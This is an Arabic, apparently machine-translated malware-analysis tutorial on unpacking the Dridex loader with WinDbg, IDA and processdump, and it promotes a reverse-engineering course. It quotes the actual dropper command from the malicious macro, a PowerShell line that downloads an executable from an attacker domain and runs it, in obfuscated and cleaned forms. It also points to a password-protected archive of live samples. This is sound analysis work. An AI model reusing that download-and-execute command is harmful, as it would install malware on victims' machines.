ليلة سعيدة يا أصدقاء! في أقل من شهر ، تبدأ دورة
"الهندسة العكسية" ، وفي هذا الصدد نشارك عادةً مواد مفيدة حول الموضوع.
واجه بعض القراء مشاكل في تفريغ أداة تحميل الإقلاع لـ Dridex (تلك التي تمت إعادة تعيينها بواسطة الماكرو) ، لذلك سأعرض لك اليوم طريقة سهلة للقيام بذلك. هناك مشكلة أخرى لا يمكن للناس حلها ولا يمكنني حلها وهي أن سلاسل Dridex المعدية لها عمر افتراضي قصير للغاية ، مما يجعل الرجوع مستحيلًا تقريبًا لمعظم الناس. ساوضح لماذا.
سلسلة العدوى الحالية Dridex لديها حوالي 4 مراحل:
- يقوم مستند Office الذي يحتوي على ماكرو بتشغيل برنامج نصي لـ powerhell.
- سيناريو Powershell الذي سيقوم بتنزيل أداة تحميل الإقلاع المعبأة من موقع تم اختراقه أو من خلال sharepoint وتشغيله.
- محمل الإقلاع المعبأ الذي يفرغ نفسه ويدرج الكود في عملية spoolsrv أو svchost المنشأة حديثًا.
- عملية مضمنة ستتصل بخادم أداة تحميل التشغيل لاسترداد وتنفيذ الملف الثنائي الحقيقي للروبوت.

المشكلة بالنسبة للمحللين هي أن هناك نقطتين من الفشل هنا: يمكن للموقع الذي تم اختراقه والذي يستضيف محمل الإقلاع مسح حساب المشاركة أو حذفه ، أو يمكن إيقاف خادم محمل الإقلاع (أي منهما سيمنع حدوث إصابة ناجحة). إضافةً إلى ذلك ، غالبًا ما تدعم خوادم اللوادر geofence (تعمل فقط إذا كان عنوان IP الخاص بك في البلد المقصود منه وليس VPN) ، وبمجرد تنزيل أداة تحميل الإقلاع علنًا ، فإن مجموعة Dridex لديها القدرة على إدراجها في القائمة السوداء. عن طريق منع أي شخص يقوم بتشغيله من الاتصال بأي C2s (الخدمات السحابية التجارية) بشكل دائم.
ما يثير الدهشة في كل هذه "الإخفاقات" هو أنها ربما تكون متعمدة. سيفتح معظم الضحايا الذين يتلقون بريدًا إلكترونيًا مصابًا خلال أيام عمل قليلة ، وبعد ذلك يقوم معظم الأشخاص الذين يقومون بفتح البريد الإلكتروني بتحليل البرامج الضارة ، لذلك من المفيد أن يختفي كل شيء في غضون أسبوع.
بحيث يمكن للقراء ممارسة هذا الدرس في الممارسة العملية ،
هناك الرمز البريدي الذي يحتوي على مستند مكتب ضار ومحمل معبأ من نفس السلسلة ، لذلك ليست هناك حاجة للقلق بشأن عناوين URL الميتة (كلمة المرور: مصابة). بالنسبة إلى الخوادم التي تحتوي على geofence bootloader ، لا يوجد شيء يمكنني القيام به حيال ذلك ،
وبما أنه تم بالفعل استدعاء Bootloader ، فسيتم إدراجك في القائمة السوداء لبدء تشغيله (إذا كنت لا تعرف كيفية تجاوز القائمة السوداء ، فاتبع هذا الدرس في الجهاز الظاهري الجديد VM) وربما تغيير IP بعد).
الحصول على محمل معبأةأول الأشياء أولاً ، ستحتاج إلى فتح مستند ضار في Word ، لكن لا تنقر فوق "تضمين المحتوى" حتى الآن. افتح مصحح الأخطاء (كالعادة يمكنني استخدام WinDbg) ، قم بتوصيله بـ winword.exe ، وقم بتعيين نقطة توقف على CreateProcessW ، واستأنف العملية ، ثم انقر فوق "تمكين المحتوى".

سيتم الوصول إلى نقطة توقف على الفور تقريبًا باستخدام أنماط Dridex الجديدة (يمكن اكتشاف بعض الأجهزة الافتراضية ، لذلك إذا لم تنجح نقطة توقف ، ففكر في إخفاء جهازك الظاهري).
نريد إلغاء تحميل المعلمة 1 و 2 CreateProcess (على التوالي ، المسار إلى معلمات سطر الأوامر والتطبيق) ، يمكننا القيام بذلك باستخدام الأوامر التالية:
du / c100 poi (esp + 4)
du / c100 poi (esp + 8)
ملاحظة: يعيد أمر du تعيين سلسلة Unicode تنتهي بصفر ، / c 100 يعيّن الحد الأقصى للعمود ، ويقرأ poi (esp + 4) العنوان المشار إليه بـ esp + 4. النتائج التي حصلت عليها:
التطبيق: C: \ ويندوز \ SYSTEM32 \ cmd.exe
المعلمات: "C: \ Windows \ System32 \ cmd.exe" / cp ^ ower ^ she ^ ll -ex ^ ecutio ^ nPol ^ icy ByP ^ ass -NoP ^ rofile -com ^ mand (New-O ^ bject Net.Webclient ). ('Downl' + 'oadfile') .invoke ('ht' + 'tp: //'+'littlwnowern.top/lukaku/'،'C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD. exe ')؛ starT-Process' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe '؛
نلاحظ هنا كيف يعمل الماكرو الضار على تشغيل cmd.exe بأمر لإطلاق powerhell ، وتجاوز سياسة التنفيذ ، ثم تحميل وتشغيل الملف القابل للتنفيذ. إذا أزلنا سلسلة السلسلة والأحرف التي هي مجرد تشويش baisc ، فسنحصل على ما يلي:
"C: \ Windows \ System32 \ cmd.exe" / c powershell -executionpolicy bypass -noprofile -command (New-Object Net.Webclient). ('Downloadfile'). Invoke (
'http://littlwnowern.top/lukaku/ '،' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ' ) ؛ بدء العملية' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe '؛
الآن يمكننا ببساطة تنزيل ملف exe يدويًا من littlwnowern [.] Top / lukaku / (url أصبح الآن ميتًا ، لكنني حمّلت الملف الثنائي إلى الأرشيف باسم "GksagD.exe.sample") ، إنه محمل محزّم.
تفريغ محمل الإقلاعأولاً نحتاج إلى تمكين DEP (منع تنفيذ البيانات) لجميع التطبيقات ، وسوف يصبح سبب ذلك واضحًا لاحقًا. للقيام بذلك ، انتقل إلى "لوحة التحكم"> "النظام والأمان"> "النظام"> "إعدادات النظام المتقدمة"> "الإعدادات" (في قسم "الأداء") -> "منع تنفيذ البيانات" ، ثم قم بتمكين DEP لجميع البرامج.

بعد ذلك ، سنقوم بفتح ملف exe في PE Explorer وتعيين علامة "Relocation Stripped" في رأس PE ، مما سيمنع ASLR من تنزيل الملف القابل للتنفيذ إلى عنوان مختلف في كل مرة يتم إطلاقه ، مما يبسط الانعكاس.


الآن احفظ الملف القابل للتنفيذ وافتحه في IDA Pro.
عادةً ما تقوم محمل Dridex بإنشاء عملية svchost.exe أو spoolsv.exe وحقن نفسها فيها ، لذلك نحن نعرف أن الكود الذي تم فك حزمه من المحتمل أن يستدعي CreateProcess؛ للتحقق من ذلك ، قم بتعيين نقطة توقف في نهاية CreateProcessW (في عبارة ret) وانقر فوق "تشغيل".

بمجرد الوصول إلى نقطة الإيقاف ، سترى أن GksagD.exe قد أنشأ عملية متوقفة مؤقتًا تسمى svchost.exe أو spoolsv.exe ، كما هو متوقع. إذا اتخذنا خطوة واحدة للعودة من CreateProcessW مرة أخرى إلى التعليمات البرمجية التي يطلق عليها ، فسوف نلتقي بما يلي.

قامت المؤسسة الدولية للتنمية بتجزئة التعليمات ، مما يعني أنه تم تغيير الكود منذ إطلاق الملف القابل للتنفيذ ، والذي عادة ما يكون نتيجة تفريغ في مكانه (غالبًا ما تستخدم حزم البرمجيات الخبيثة عمليات مجوفة لكتابة التعليمات البرمجية غير المعبأة في عملية أخرى ، يقوم الحزم الحقيقي بفك الشفرة في نفس العملية).
الآن نعلم أن الكود القابل للتنفيذ الرئيسي يتم استبداله في مرحلة ما ، يمكننا وضع نقطة توقف على السجل في العنوان الحالي ، والتي ستطلق عندما يتغير الرمز.

بعد ذلك ، احذف جميع نقاط التوقف الأخرى وأعد العملية.

تم استدعاء نقطة الإيقاف هذه من عنوان خارج القسم الرئيسي للملفات القابلة للتنفيذ ، مما يعني أن الرازم قد خصص بعض الذاكرة ثم قام بنسخ بعض الكود لرعاية استبدال الملف القابل للتنفيذ الرئيسي.
إذا نظرنا إلى الذاكرة في Process Hacker ، فسوف نرى أنها الآن قابلة للقراءة وقابلة للكتابة ، ولكنها غير قابلة للتنفيذ ، وهذا أمر رائع لأنه يعني أن باكر لم يعد يستخدم هذا الرمز.

الآن عن بعض الاستنتاجات الخاصة بمستوى Sherlock: نعلم أن الشفرة يتم تنفيذها هنا لاحقًا ، والذاكرة غير قابلة للتنفيذ في الوقت الحالي ، لذلك ، في مرحلة ما ستصبح قابلة للتنفيذ.
عادة ما تكون الوظيفة المستخدمة لتكوين حماية الذاكرة هي VirtualAlloc أو VirtualAllocEx أو NtProtectVirtualMemory. إذا كنت على دراية بالمكونات الداخلية لنظام Windows ، فستعلم أن كلا من VirtualAlloc و VirtualAllocEx سيتصلان داخليًا بـ NtProtectVirtualMemory ، لذلك هذا هو المكان الذي حددنا فيه نقطة الإيقاف هذه.
يمكننا الجلوس والتحقق من مكدس الاتصال في كل مرة يتم فيها استدعاء NtProtectVirtualMemory ، انتظر حتى يتم تعيين العنوان المقابل للتنفيذ ، ثم تحليل رأس PE للعثور على نقطة دخول جديدة ، أو قد نكون أكثر ذكاءً.
سنقوم بتعيين نقطة توقف مشروطة على NtProtectVirtualMemory باستخدام البرنامج النصي التالي:
if (Dword(esp+0x10) == 0x20 || Dword(esp+0x10) == 0x40 || Dword(esp+0x10) == 0x10) { if (Dword(esp+4) == 0xFFFFFFFF) { if (Dword(Dword(esp+8)) >= 0x400000 && Dword(Dword(esp+8)) < 0x42e000) { PatchDword(esp+0x10, 0x04); } } } return 0;
للقيام بذلك ، انتقل إلى NtProtectVirtualMemory وقم بتعيين نقطة توقف على البايت الأول ، انقر بزر الماوس الأيمن> تغيير نقطة التوقف ، ثم انقر فوق الزر "..." والصق البرنامج النصي.
سيتم تنفيذ هذا البرنامج النصي في كل مرة يتم فيها استدعاء NtProtectVirtualMemory ، وسيتم تنفيذ ما يلي:
- تأكد من أن معلمة حماية الصفحة (esp + 0x10) هي 0x10 أو 0x20 أو 0x40 (ويعرف أيضًا باسم PAGE_EXECUTE أو PAGE_EXECUTRE_READ أو PAGE_EXECUTE_READWRITE) ، مما يعني أن المكالمة تغير حماية الصفحة إلى قابل للتنفيذ.
- تأكد من أن عنوان الوجهة في نطاق القسم القابل للتنفيذ الرئيسي (0x400000 - 0x42e000).
- تغيير إعداد الأمان إلى 0x04 (غير قابل للتنفيذ).
- إرجاع 0 (استئناف التنفيذ بدلاً من مقاطعة المصحح).
لنركض ونرى ما سيحدث.

استثناء انتهاك الوصول! خذ بعض الوقت لتستمتع بهذه اللحظة ، لأن هذا ربما يكون الخطأ الوحيد في انتهاك الوصول الذي رأيته على الإطلاق ... ولكن لماذا يكون جيدًا؟
يقوم برنامج نقاط التوقف الخاص بنا على NtProtectVirtualMemory بتعيين جميع الذاكرة على أنها غير قابلة للتنفيذ عندما حاول باكر تعيينها على قابل للتنفيذ. الاستثناء يعني أن كل ما كتبه packer إلى الذاكرة أصبح الآن مكتوبًا بنجاح ، وهو يحاول استدعاء شيء ما في هذه الذاكرة. إذا كنا محظوظين ، فما كتبه الراكب إلى الذاكرة هو أداة تحميل التشغيل غير المعبأة ، والعنوان الذي كان يحاول الاتصال به هو نقطة الدخول ، أليس كذلك؟
للقيام بذلك ، سوف نستخدم أداة مذهلة تسمى processdump (
رابط التنزيل ) ، والتي تفريغ أي صور exe أو dll تم تحميلها في ذاكرة العمليات وتعبئتها مرة أخرى في ملفات exe. أو dll.
استخدم "pd32.exe - معرف المنتج" لتفريغ العملية.
استخدم "pd32.exe - معرف العملية <معرف العملية>" لتفريغ العملية.

الرقم الموجود في نهاية اسم الملف هو العنوان الأساسي للصورة الموجودة في الذاكرة ، لذلك سيكون GksagD_exe_GksagD.exe_400000.exe هو نفسه الذي تم تعيينه في حزمة التعبئة بدلاً من الملف القابل للتنفيذ القديم ، لذلك سننظر إليه في IDA.

عنوان نقطة الدخول هو نفسه عنوان الاستثناء ، وهو قابل للتنفيذ غير مفكوك!
نصائح عكسيةمُحمل الإقلاع معقد نظرًا لأن جميع السلاسل مشفرة ولا توجد عملية استيراد ، ولكن الأساليب التي وصفتها بالتفصيل في كتيبات Dridex ستعمل على مُحمل الإقلاع أيضًا.
ألقِ نظرة:
https://www.malwaretech.com/2016/04/lets-analyze-dridex-part-2.htmlو
https://www.malwaretech.com/2016/05/lets-analyze-dridex-part-3.htmlملاحظة: أداة تحميل bootloader متعددة الأغراض (هذا هو الكود الذي يتضمن ملف svchost / spoolsv والرمز الذي يدمج svchost / spoolsv). إذا كنت ترغب في عكس جزء الحقن من محمل الإقلاع ، فما عليك سوى فتحه في المؤسسة الدولية للتنمية وتشغيله. إذا كنت تريد عكس جزء التمهيد ، فأنت بحاجة إلى نسخه إلى system32 وتشغيله من هناك (احرص على حذف محمل الإقلاع في كلتا الحالتين بعد تنفيذه).
إذا وجدت المادة مفيدة ، ضع علامة زائد ، واكتب التعليقات ، وتأكد من التسجيل للحصول
على درس مفتوح سيتم اليوم!